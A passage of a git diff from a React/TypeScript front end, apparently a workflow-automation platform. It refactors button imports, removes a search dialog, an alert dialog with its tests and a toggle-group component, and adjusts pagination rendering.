-                                        <RouteIcon className="mr-2 size-4" />
-
-                                        <span>{endpoint.name}</span>
-
-                                        {'path' in endpoint && endpoint.path && (
-                                            <span className="ml-2 font-mono text-xs text-muted-foreground">
-                                                {endpoint.path}
-                                            </span>
-                                        )}
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-
-                        {groupedResults.dataTables.length > 0 && (
-                            <CommandGroup heading="Data Tables">
-                                {groupedResults.dataTables.map((table) => (
-                                    <CommandItem
-                                        key={`data-table-${table.id}`}
-                                        onSelect={() => handleSelect(`/automation/data-tables/${table.id}`)}
-                                    >
-                                        <Table2Icon className="mr-2 size-4" />
-
-                                        <span>{table.name}</span>
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-
-                        {groupedResults.knowledgeBases.length > 0 && (
-                            <CommandGroup heading="Knowledge Bases">
-                                {groupedResults.knowledgeBases.map((knowledgeBase) => (
-                                    <CommandItem
-                                        key={`kb-${knowledgeBase.id}`}
-                                        onSelect={() => handleSelect(`/automation/knowledge-bases/${knowledgeBase.id}`)}
-                                    >
-                                        <VectorSquareIcon className="mr-2 size-4" />
-
-                                        <span>{knowledgeBase.name}</span>
-
-                                        {knowledgeBase.description && (
-                                            <span className="ml-2 text-xs text-muted-foreground">
-                                                {knowledgeBase.description}
-                                            </span>
-                                        )}
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-
-                        {groupedResults.knowledgeBaseDocuments.length > 0 && (
-                            <CommandGroup heading="KB Documents">
-                                {groupedResults.knowledgeBaseDocuments.map((document) => (
-                                    <CommandItem
-                                        key={`kb-doc-${document.id}`}
-                                        onSelect={() =>
-                                            handleSelect(
-                                                `/automation/knowledge-bases/${'knowledgeBaseId' in document ? document.knowledgeBaseId : ''}/documents/${document.id}`
-                                            )
-                                        }
-                                    >
-                                        <FileTextIcon className="mr-2 size-4" />
-
-                                        <span>{document.name}</span>
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-
-                        {groupedResults.connections.length > 0 && (
-                            <CommandGroup heading="Connections">
-                                {groupedResults.connections.map((connection) => (
-                                    <CommandItem
-                                        key={`connection-${connection.id}`}
-                                        onSelect={() => handleSelect(`/automation/connections/${connection.id}`)}
-                                    >
-                                        <Link2Icon className="mr-2 size-4" />
-
-                                        <span>{connection.name}</span>
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-                    </>
-                )}
-            </CommandList>
-        </CommandDialog>
-    );
-};
-
-export default GlobalSearchDialog;
diff --git a/client/src/components/MultiSelect/MultiSelect.tsx b/client/src/components/MultiSelect/MultiSelect.tsx
index 05bebeb3996..e0fc599fe78 100644
--- a/client/src/components/MultiSelect/MultiSelect.tsx
+++ b/client/src/components/MultiSelect/MultiSelect.tsx
@@ -1,5 +1,5 @@
 import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     Command,
     CommandEmpty,
@@ -178,7 +178,7 @@ export const MultiSelect = forwardRef<HTMLButtonElement, MultiSelectProps>(
                         ref={ref}
                         {...props}
                         className={twMerge(
-                            'flex h-auto w-full items-center justify-between rounded-md border border-input bg-surface-neutral-primary px-4 py-2 text-sm font-normal text-primary shadow-sm hover:bg-surface-neutral-primary active:bg-surface-neutral-primary [&_svg]:pointer-events-auto',
+                            'flex h-auto w-full items-center justify-between rounded-md border border-input bg-background px-4 py-2 text-sm font-normal text-primary shadow-sm hover:bg-inherit [&_svg]:pointer-events-auto',
                             leadingIcon && 'relative',
                             optionsLoading && 'min-h-10 cursor-not-allowed',
                             className
diff --git a/client/src/components/TablePagination.tsx b/client/src/components/TablePagination.tsx
index 8ab4f04cf6d..24f8169677c 100644
--- a/client/src/components/TablePagination.tsx
+++ b/client/src/components/TablePagination.tsx
@@ -68,30 +68,29 @@ const TablePagination = ({onClick, pageNumber, pageSize, totalElements, totalPag
                     </p>
                 </div>
 
-                {totalPages > 1 && (
-                    <>
-                        {pageNumber > 0 && (
-                            <PaginationItem>
-                                <PaginationPrevious href="#" onClick={() => onClick(pageNumber - 1)} />
-                            </PaginationItem>
-                        )}
+                <PaginationItem>
+                    <PaginationPrevious
+                        href="#"
+                        onClick={() => {
+                            if (pageNumber > 0) {
+                                onClick(pageNumber - 1);
+                            }
+                        }}
+                    />
+                </PaginationItem>
 
-                        {renderPageLinks()}
+                {renderPageLinks()}
 
-                        {pageNumber < totalPages - 1 && (
-                            <PaginationItem>
-                                <PaginationNext
-                                    href="#"
-                                    onClick={() => {
-                                        if (pageNumber < totalPages - 1) {
-                                            onClick(pageNumber + 1);
-                                        }
-                                    }}
-                                />
-                            </PaginationItem>
-                        )}
-                    </>
-                )}
+                <PaginationItem>
+                    <PaginationNext
+                        href="#"
+                        onClick={() => {
+                            if (pageNumber < totalPages - 1) {
+                                onClick(pageNumber + 1);
+                            }
+                        }}
+                    />
+                </PaginationItem>
             </PaginationContent>
         </Pagination>
     );
diff --git a/client/src/components/UnsavedChangesAlertDialog.tsx b/client/src/components/UnsavedChangesAlertDialog.tsx
deleted file mode 100644
index 97e6a626f3f..00000000000
--- a/client/src/components/UnsavedChangesAlertDialog.tsx
+++ /dev/null
@@ -1,42 +0,0 @@
-import {
-    AlertDialog,
-    AlertDialogAction,
-    AlertDialogCancel,
-    AlertDialogContent,
-    AlertDialogDescription,
-    AlertDialogFooter,
-    AlertDialogHeader,
-    AlertDialogTitle,
-} from '@/components/ui/alert-dialog';
-
-interface UnsavedChangesAlertDialogPropsI {
-    onCancel: () => void;
-    onClose: () => void;
-    open: boolean;
-}
-
-const UnsavedChangesAlertDialog = ({onCancel, onClose, open}: UnsavedChangesAlertDialogPropsI) => {
-    return (
-        <AlertDialog open={open}>
-            <AlertDialogContent>
-                <AlertDialogHeader>
-                    <AlertDialogTitle>Are you absolutely sure?</AlertDialogTitle>
-
-                    <AlertDialogDescription>
-                        There are unsaved changes. This action cannot be undone.
-                    </AlertDialogDescription>
-                </AlertDialogHeader>
-
-                <AlertDialogFooter>
-                    <AlertDialogCancel className="shadow-none" onClick={onCancel}>
-                        Cancel
-                    </AlertDialogCancel>
-
-                    <AlertDialogAction onClick={onClose}>Close</AlertDialogAction>
-                </AlertDialogFooter>
-            </AlertDialogContent>
-        </AlertDialog>
-    );
-};
-
-export default UnsavedChangesAlertDialog;
diff --git a/client/src/components/tests/UnsavedChangesAlertDialog.test.tsx b/client/src/components/tests/UnsavedChangesAlertDialog.test.tsx
deleted file mode 100644
index 9ff7998a87b..00000000000
--- a/client/src/components/tests/UnsavedChangesAlertDialog.test.tsx
+++ /dev/null
@@ -1,73 +0,0 @@
-import {fireEvent, render, screen} from '@testing-library/react';
-import {describe, expect, it, vi} from 'vitest';
-
-import UnsavedChangesAlertDialog from '../UnsavedChangesAlertDialog';
-
-describe('UnsavedChangesAlertDialog', () => {
-    const defaultProps = {
-        onCancel: vi.fn(),
-        onClose: vi.fn(),
-        open: true,
-    };
-
-    it('renders the dialog when open is true', () => {
-        render(<UnsavedChangesAlertDialog {...defaultProps} />);
-
-        expect(screen.getByRole('alertdialog')).toBeInTheDocument();
-        expect(screen.getByText('Are you absolutely sure?')).toBeInTheDocument();
-        expect(screen.getByText('There are unsaved changes. This action cannot be undone.')).toBeInTheDocument();
-    });
-
-    it('does not render the dialog when open is false', () => {
-        render(<UnsavedChangesAlertDialog {...defaultProps} open={false} />);
-
-        expect(screen.queryByRole('alertdialog')).not.toBeInTheDocument();
-    });
-
-    it('renders Cancel and Close buttons', () => {
-        render(<UnsavedChangesAlertDialog {...defaultProps} />);
-
-        expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-        expect(screen.getByRole('button', {name: 'Close'})).toBeInTheDocument();
-    });
-
-    it('calls onCancel when Cancel button is clicked', () => {
-        const onCancelMock = vi.fn();
-
-        render(<UnsavedChangesAlertDialog {...defaultProps} onCancel={onCancelMock} />);
-
-        fireEvent.click(screen.getByRole('button', {name: 'Cancel'}));
-
-        expect(onCancelMock).toHaveBeenCalledTimes(1);
-    });
-
-    it('calls onClose when Close button is clicked', () => {
-        const onCloseMock = vi.fn();
-
-        render(<UnsavedChangesAlertDialog {...defaultProps} onClose={onCloseMock} />);
-
-        fireEvent.click(screen.getByRole('button', {name: 'Close'}));
-
-        expect(onCloseMock).toHaveBeenCalledTimes(1);
-    });
-
-    it('Cancel button has shadow-none class', () => {
-        render(<UnsavedChangesAlertDialog {...defaultProps} />);
-
-        const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-        expect(cancelButton).toHaveClass('shadow-none');
-    });
-
-    it('displays correct title and description', () => {
-        render(<UnsavedChangesAlertDialog {...defaultProps} />);
-
-        const title = screen.getByRole('heading', {level: 2});
-
-        expect(title).toHaveTextContent('Are you absolutely sure?');
-
-        const description = screen.getByText('There are unsaved changes. This action cannot be undone.');
-
-        expect(description).toBeInTheDocument();
-    });
-});
diff --git a/client/src/components/ui/button-group.tsx b/client/src/components/ui/button-group.tsx
index 82d24f1a183..3778431ab09 100644
--- a/client/src/components/ui/button-group.tsx
+++ b/client/src/components/ui/button-group.tsx
@@ -1,4 +1,4 @@
-import { Slot as SlotPrimitive } from "radix-ui"
+import { Slot } from "@radix-ui/react-slot"
 import { cva, type VariantProps } from "class-variance-authority"
 
 import { cn } from "@/shared/util/cn-utils"
@@ -44,7 +44,7 @@ function ButtonGroupText({
 }: React.HTMLAttributes<HTMLDivElement> & {
   asChild?: boolean
 }) {
-  const Comp = asChild ? SlotPrimitive.Slot : "div"
+  const Comp = asChild ? Slot : "div"
 
   return (
     <Comp
diff --git a/client/src/components/ui/command.tsx b/client/src/components/ui/command.tsx
index c234ab55f27..bac0e630c49 100644
--- a/client/src/components/ui/command.tsx
+++ b/client/src/components/ui/command.tsx
@@ -1,12 +1,8 @@
-"use client"
-
 import * as React from "react"
-import { type DialogProps } from "@radix-ui/react-dialog"
 import { Command as CommandPrimitive } from "cmdk"
-import { Search } from "lucide-react"
-
 import { cn } from "@/shared/util/cn-utils"
 import { Dialog, DialogContent } from "@/components/ui/dialog"
+import { MagnifyingGlassIcon } from "@radix-ui/react-icons"
 
 const Command = React.forwardRef<
   React.ElementRef<typeof CommandPrimitive>,
@@ -23,11 +19,11 @@ const Command = React.forwardRef<
 ))
 Command.displayName = CommandPrimitive.displayName
 
-const CommandDialog = ({ children, shouldFilter, ...props }: DialogProps & { shouldFilter?: boolean }) => {
+const CommandDialog = ({ children, ...props }: React.ComponentProps<typeof CommandPrimitive>) => {
   return (
     <Dialog {...props}>
       <DialogContent className="overflow-hidden p-0">
-        <Command className="[&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:font-medium [&_[cmdk-group-heading]]:text-muted-foreground [&_[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0 [&_[cmdk-group]]:px-2 [&_[cmdk-input-wrapper]_svg]:h-5 [&_[cmdk-input-wrapper]_svg]:w-5 [&_[cmdk-input]]:h-12 [&_[cmdk-item]]:px-2 [&_[cmdk-item]]:py-3 [&_[cmdk-item]_svg]:h-5 [&_[cmdk-item]_svg]:w-5" shouldFilter={shouldFilter}>
+        <Command className="[&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:font-medium [&_[cmdk-group-heading]]:text-muted-foreground [&_[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0 [&_[cmdk-group]]:px-2 [&_[cmdk-input-wrapper]_svg]:h-5 [&_[cmdk-input-wrapper]_svg]:w-5 [&_[cmdk-input]]:h-12 [&_[cmdk-item]]:px-2 [&_[cmdk-item]]:py-3 [&_[cmdk-item]_svg]:h-5 [&_[cmdk-item]_svg]:w-5">
           {children}
         </Command>
       </DialogContent>
@@ -40,7 +36,7 @@ const CommandInput = React.forwardRef<
   React.ComponentPropsWithoutRef<typeof CommandPrimitive.Input>
 >(({ className, ...props }, ref) => (
   <div className="flex items-center border-b px-3" cmdk-input-wrapper="">
-    <Search className="mr-2 h-4 w-4 shrink-0 opacity-50" />
+    <MagnifyingGlassIcon className="mr-2 h-4 w-4 shrink-0 opacity-50" />
     <CommandPrimitive.Input
       ref={ref}
       className={cn(
diff --git a/client/src/components/ui/item.tsx b/client/src/components/ui/item.tsx
index 44e54b71419..957bc238554 100644
--- a/client/src/components/ui/item.tsx
+++ b/client/src/components/ui/item.tsx
@@ -1,5 +1,5 @@
 import * as React from "react"
-import { Slot as SlotPrimitive } from "radix-ui"
+import { Slot } from "@radix-ui/react-slot"
 import { cva, type VariantProps } from "class-variance-authority"
 
 import { cn } from "@/shared/util/cn-utils"
@@ -59,7 +59,7 @@ function Item({
   ...props
 }: React.HTMLAttributes<HTMLDivElement> &
   VariantProps<typeof itemVariants> & { asChild?: boolean }) {
-  const Comp = asChild ? SlotPrimitive.Slot : "div"
+  const Comp = asChild ? Slot : "div"
   return (
     <Comp
       data-slot="item"
diff --git a/client/src/components/ui/toggle-group.tsx b/client/src/components/ui/toggle-group.tsx
deleted file mode 100644
index d90c8b24a76..00000000000
--- a/client/src/components/ui/toggle-group.tsx
+++ /dev/null
@@ -1,61 +0,0 @@
-"use client"
-
-import * as React from "react"
-import { ToggleGroup as ToggleGroupPrimitive } from "radix-ui"
-import { type VariantProps } from "class-variance-authority"
-
-import { cn } from "@/shared/util/cn-utils"
-import { toggleVariants } from "@/components/ui/toggle"
-
-const ToggleGroupContext = React.createContext<
-  VariantProps<typeof toggleVariants>
->({
-  size: "default",
-  variant: "default",
-})
-
-const ToggleGroup = React.forwardRef<
-  React.ElementRef<typeof ToggleGroupPrimitive.Root>,
-  React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Root> &
-    VariantProps<typeof toggleVariants>
->(({ className, variant, size, children, ...props }, ref) => (
-  <ToggleGroupPrimitive.Root
-    ref={ref}
-    className={cn("flex items-center justify-center gap-1", className)}
-    {...props}
-  >
-    <ToggleGroupContext.Provider value={{ variant, size }}>
-      {children}
-    </ToggleGroupContext.Provider>
-  </ToggleGroupPrimitive.Root>
-))
-
-ToggleGroup.displayName = ToggleGroupPrimitive.Root.displayName
-
-const ToggleGroupItem = React.forwardRef<
-  React.ElementRef<typeof ToggleGroupPrimitive.Item>,
-  React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Item> &
-    VariantProps<typeof toggleVariants>
->(({ className, children, variant, size, ...props }, ref) => {
-  const context = React.useContext(ToggleGroupContext)
-
-  return (
-    <ToggleGroupPrimitive.Item
-      ref={ref}
-      className={cn(
-        toggleVariants({
-          variant: context.variant || variant,
-          size: context.size || size,
-        }),
-        className
-      )}
-      {...props}
-    >
-      {children}
-    </ToggleGroupPrimitive.Item>
-  )
-})
-
-ToggleGroupItem.displayName = ToggleGroupPrimitive.Item.displayName
-
-export { ToggleGroup, ToggleGroupItem }
diff --git a/client/src/ee/pages/automation/api-platform/api-clients/ApiClients.tsx b/client/src/ee/pages/automation/api-platform/api-clients/ApiClients.tsx
index 93bb2cc6fa5..00a76e813d7 100644
--- a/client/src/ee/pages/automation/api-platform/api-clients/ApiClients.tsx
+++ b/client/src/ee/pages/automation/api-platform/api-clients/ApiClients.tsx
@@ -1,6 +1,6 @@
-import Button from '@/components/Button/Button';
 import EmptyList from '@/components/EmptyList';
 import PageLoader from '@/components/PageLoader';
+import {Button} from '@/components/ui/button';
 import ApiPlatformLeftSidebarNav from '@/ee/pages/automation/api-platform/ApiPlatformLeftSidebarNav';
 import ApiClientDialog from '@/ee/pages/automation/api-platform/api-clients/components/ApiClientDialog';
 import ApiClientTable from '@/ee/pages/automation/api-platform/api-clients/components/ApiClientTable';
diff --git a/client/src/ee/pages/automation/api-platform/api-clients/components/ApiClientDialog.tsx b/client/src/ee/pages/automation/api-platform/api-clients/components/ApiClientDialog.tsx
index 0af6916e4a5..21d021b82d5 100644
--- a/client/src/ee/pages/automation/api-platform/api-clients/components/ApiClientDialog.tsx
+++ b/client/src/ee/pages/automation/api-platform/api-clients/components/ApiClientDialog.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     Dialog,
     DialogClose,
diff --git a/client/src/ee/pages/automation/api-platform/api-clients/components/ApiClientTable.tsx b/client/src/ee/pages/automation/api-platform/api-clients/components/ApiClientTable.tsx
index 438ed483fc9..5abd443d5db 100644
--- a/client/src/ee/pages/automation/api-platform/api-clients/components/ApiClientTable.tsx
+++ b/client/src/ee/pages/automation/api-platform/api-clients/components/ApiClientTable.tsx
@@ -1,4 +1,3 @@
-import Button from '@/components/Button/Button';
 import {
     AlertDialog,
     AlertDialogAction,
@@ -9,6 +8,7 @@ import {
     AlertDialogHeader,
     AlertDialogTitle,
 } from '@/components/ui/alert-dialog';
+import {Button} from '@/components/ui/button';
 import {Table, TableBody, TableCell, TableHead, TableHeader, TableRow} from '@/components/ui/table';
 import ApiClientDialog from '@/ee/pages/automation/api-platform/api-clients/components/ApiClientDialog';
 import {ApiClient} from '@/ee/shared/middleware/automation/api-platform';
@@ -94,24 +94,26 @@ const ApiClientTable = ({apiClients}: ApiClientTableProps) => {
                 cell: (info) => (
                     <>
                         <Button
-                            icon={<EditIcon className="size-4" />}
                             onClick={() => {
                                 setCurrentApiClient(info.row.original);
                                 setShowEditDialog(true);
                             }}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <EditIcon className="size-4" />
+                        </Button>
 
                         <Button
-                            icon={<Trash2Icon className="h-4 text-destructive" />}
                             onClick={() => {
                                 setCurrentApiClient(info.row.original);
                                 setShowDeleteDialog(true);
                             }}
                             size="icon"
                             variant="ghost"
-                        />
+                        >
+                            <Trash2Icon className="h-4 text-destructive" />
+                        </Button>
                     </>
                 ),
                 header: '',
diff --git a/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/WorkflowBuilderHeader.tsx b/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/WorkflowBuilderHeader.tsx
index 6f6bdda2e9e..5345c7447e6 100644
--- a/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/WorkflowBuilderHeader.tsx
+++ b/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/WorkflowBuilderHeader.tsx
@@ -1,5 +1,5 @@
 import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import LoaderNotification from '@/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/LoaderNotification';
 import OutputPanelButton from '@/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/OutputButton';
 import PublishPopover from '@/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/PublishPopover';
@@ -76,11 +76,12 @@ const WorkflowBuilderHeader = ({
 
                 <Button
                     className="hover:bg-surface-neutral-primary-hover [&_svg]:size-5"
-                    icon={<EditIcon />}
                     onClick={() => setShowEditWorkflowDialog(true)}
                     size="icon"
                     variant="ghost"
-                />
+                >
+                    <EditIcon />
+                </Button>
 
                 <OutputPanelButton onShowOutputClick={handleShowOutputClick} />
 
diff --git a/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/OutputButton.tsx b/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/OutputButton.tsx
index 7f96e390cef..d17da84399a 100644
--- a/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/OutputButton.tsx
+++ b/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/OutputButton.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import {SquareChevronRightIcon} from 'lucide-react';
 
@@ -8,11 +8,12 @@ const OutputButton = ({onShowOutputClick}: {onShowOutputClick: () => void}) => {
             <TooltipTrigger asChild>
                 <Button
                     className="hover:bg-surface-neutral-primary-hover [&_svg]:size-5"
-                    icon={<SquareChevronRightIcon />}
                     onClick={onShowOutputClick}
                     size="icon"
                     variant="ghost"
-                />
+                >
+                    <SquareChevronRightIcon />
+                </Button>
             </TooltipTrigger>
 
             <TooltipContent>Show the current workflow test execution output</TooltipContent>
diff --git a/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/PublishPopover.tsx b/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/PublishPopover.tsx
index d8689bf9099..ec3f9b616e0 100644
--- a/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/PublishPopover.tsx
+++ b/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/PublishPopover.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
 import LoadingIcon from '@/components/LoadingIcon';
+import {Button} from '@/components/ui/button';
 import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
 import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
 import {Textarea} from '@/components/ui/textarea';
diff --git a/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/WorkflowActionsButton.tsx b/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/WorkflowActionsButton.tsx
index d64b4b8ea61..01eb1238fb1 100644
--- a/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/WorkflowActionsButton.tsx
+++ b/client/src/ee/pages/embedded/automation-workflows/workflow-builder/components/workflow-builder-header/components/WorkflowActionsButton.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import {MessageCircleMoreIcon, PlayIcon, SquareIcon} from 'lucide-react';
 
diff --git a/client/src/ee/pages/embedded/connected-users/ConnectedUsers.tsx b/client/src/ee/pages/embedded/connected-users/ConnectedUsers.tsx
index 87b8d7784e1..42bc8b0837a 100644
--- a/client/src/ee/pages/embedded/connected-users/ConnectedUsers.tsx
+++ b/client/src/ee/pages/embedded/connected-users/ConnectedUsers.tsx
@@ -1,8 +1,8 @@
-import Button from '@/components/Button/Button';
 import ComboBox from '@/components/ComboBox/ComboBox';
 import EmptyList from '@/components/EmptyList';
 import PageLoader from '@/components/PageLoader';
 import TablePagination from '@/components/TablePagination';
+import {Button} from '@/components/ui/button';
 import {Calendar} from '@/components/ui/calendar';
 import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
 import {Input} from '@/components/ui/input';
diff --git a/client/src/ee/pages/embedded/connected-users/components/ConnectedUserTable.tsx b/client/src/ee/pages/embedded/connected-users/components/ConnectedUserTable.tsx
index 2d6752a462e..e0de081a3d0 100644
--- a/client/src/ee/pages/embedded/connected-users/components/ConnectedUserTable.tsx
+++ b/client/src/ee/pages/embedded/connected-users/components/ConnectedUserTable.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     DropdownMenu,
     DropdownMenuContent,
@@ -117,11 +117,9 @@ const ConnectedUserTable = ({connectedUsers}: ConnectedUserTableProps) => {
                 cell: (info) => (
                     <DropdownMenu>
                         <DropdownMenuTrigger asChild>
-                            <Button
-                                icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                                size="icon"
-                                variant="ghost"
-                            />
+                            <Button size="icon" variant="ghost">
+                                <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                            </Button>
                         </DropdownMenuTrigger>
 
                         <DropdownMenuContent align="end">
diff --git a/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetPanelIntegrationListItem.tsx b/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetPanelIntegrationListItem.tsx
index 572abae2880..52115a1e0ac 100644
--- a/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetPanelIntegrationListItem.tsx
+++ b/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetPanelIntegrationListItem.tsx
@@ -1,6 +1,6 @@
 import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
 import LoadingIcon from '@/components/LoadingIcon';
+import {Button} from '@/components/ui/button';
 import {Collapsible, CollapsibleContent, CollapsibleTrigger} from '@/components/ui/collapsible';
 import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
 import {Switch} from '@/components/ui/switch';
@@ -154,11 +154,9 @@ const ConnectedUserSheetPanelIntegrationListItem = ({
 
                         <DropdownMenu>
                             <DropdownMenuTrigger asChild>
-                                <Button
-                                    icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                                    size="icon"
-                                    variant="ghost"
-                                />
+                                <Button size="icon" variant="ghost">
+                                    <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                                </Button>
                             </DropdownMenuTrigger>
 
                             <DropdownMenuContent align="end">
diff --git a/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetPanelIntegrationWorkflowListItem.tsx b/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetPanelIntegrationWorkflowListItem.tsx
index 640f4475e5f..44ffa442c63 100644
--- a/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetPanelIntegrationWorkflowListItem.tsx
+++ b/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetPanelIntegrationWorkflowListItem.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
 import LoadingIcon from '@/components/LoadingIcon';
+import {Button} from '@/components/ui/button';
 import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
 import {Switch} from '@/components/ui/switch';
 import {
@@ -88,11 +88,9 @@ const ConnectedUserSheetPanelIntegrationWorkflowListItem = ({
 
                 <DropdownMenu>
                     <DropdownMenuTrigger asChild>
-                        <Button
-                            icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                            size="icon"
-                            variant="ghost"
-                        />
+                        <Button size="icon" variant="ghost">
+                            <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                        </Button>
                     </DropdownMenuTrigger>
 
                     <DropdownMenuContent align="end">
diff --git a/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetTitle.tsx b/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetTitle.tsx
index 97730412afc..2f82b666eeb 100644
--- a/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetTitle.tsx
+++ b/client/src/ee/pages/embedded/connected-users/components/connected-user-sheet/ConnectedUserSheetTitle.tsx
@@ -1,5 +1,5 @@
 import Badge from '@/components/Badge/Badge';
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     DropdownMenu,
     DropdownMenuContent,
@@ -42,11 +42,9 @@ const ConnectedUserSheetTitle = ({connectedUser}: {connectedUser: ConnectedUser}
             <div className="mr-6">
                 <DropdownMenu>
                     <DropdownMenuTrigger asChild>
-                        <Button
-                            icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                            size="icon"
-                            variant="ghost"
-                        />
+                        <Button size="icon" variant="ghost">
+                            <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                        </Button>
                     </DropdownMenuTrigger>
 
                     <DropdownMenuContent align="end">
diff --git a/client/src/ee/pages/embedded/integration-instance-configurations/components/IntegrationInstanceConfigurationEditWorkflowDialog.tsx b/client/src/ee/pages/embedded/integration-instance-configurations/components/IntegrationInstanceConfigurationEditWorkflowDialog.tsx
index 42094f7987e..ce8d63993c4 100644
--- a/client/src/ee/pages/embedded/integration-instance-configurations/components/IntegrationInstanceConfigurationEditWorkflowDialog.tsx
+++ b/client/src/ee/pages/embedded/integration-instance-configurations/components/IntegrationInstanceConfigurationEditWorkflowDialog.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {
     Dialog,
     DialogClose,
diff --git a/client/src/ee/pages/embedded/integration-instance-configurations/components/integration-instance-configuration-dialog/IntegrationInstanceConfigurationDialogWorkflowsStepItemConnection.tsx b/client/src/ee/pages/embedded/integration-instance-configurations/components/integration-instance-configuration-dialog/IntegrationInstanceConfigurationDialogWorkflowsStepItemConnection.tsx
index e97d82b6aae..2a9604d3084 100644
--- a/client/src/ee/pages/embedded/integration-instance-configurations/components/integration-instance-configuration-dialog/IntegrationInstanceConfigurationDialogWorkflowsStepItemConnection.tsx
+++ b/client/src/ee/pages/embedded/integration-instance-configurations/components/integration-instance-configuration-dialog/IntegrationInstanceConfigurationDialogWorkflowsStepItemConnection.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {FormControl, FormDescription, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
 import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
 import {IntegrationInstanceConfiguration} from '@/ee/shared/middleware/embedded/configuration';
diff --git a/client/src/ee/pages/embedded/integration-instance-configurations/components/integration-instance-configuration-workflow-list/IntegrationInstanceConfigurationWorkflowListItemDropDownMenu.tsx b/client/src/ee/pages/embedded/integration-instance-configurations/components/integration-instance-configuration-workflow-list/IntegrationInstanceConfigurationWorkflowListItemDropDownMenu.tsx
index 2d9481d673a..5b1896fbdd6 100644
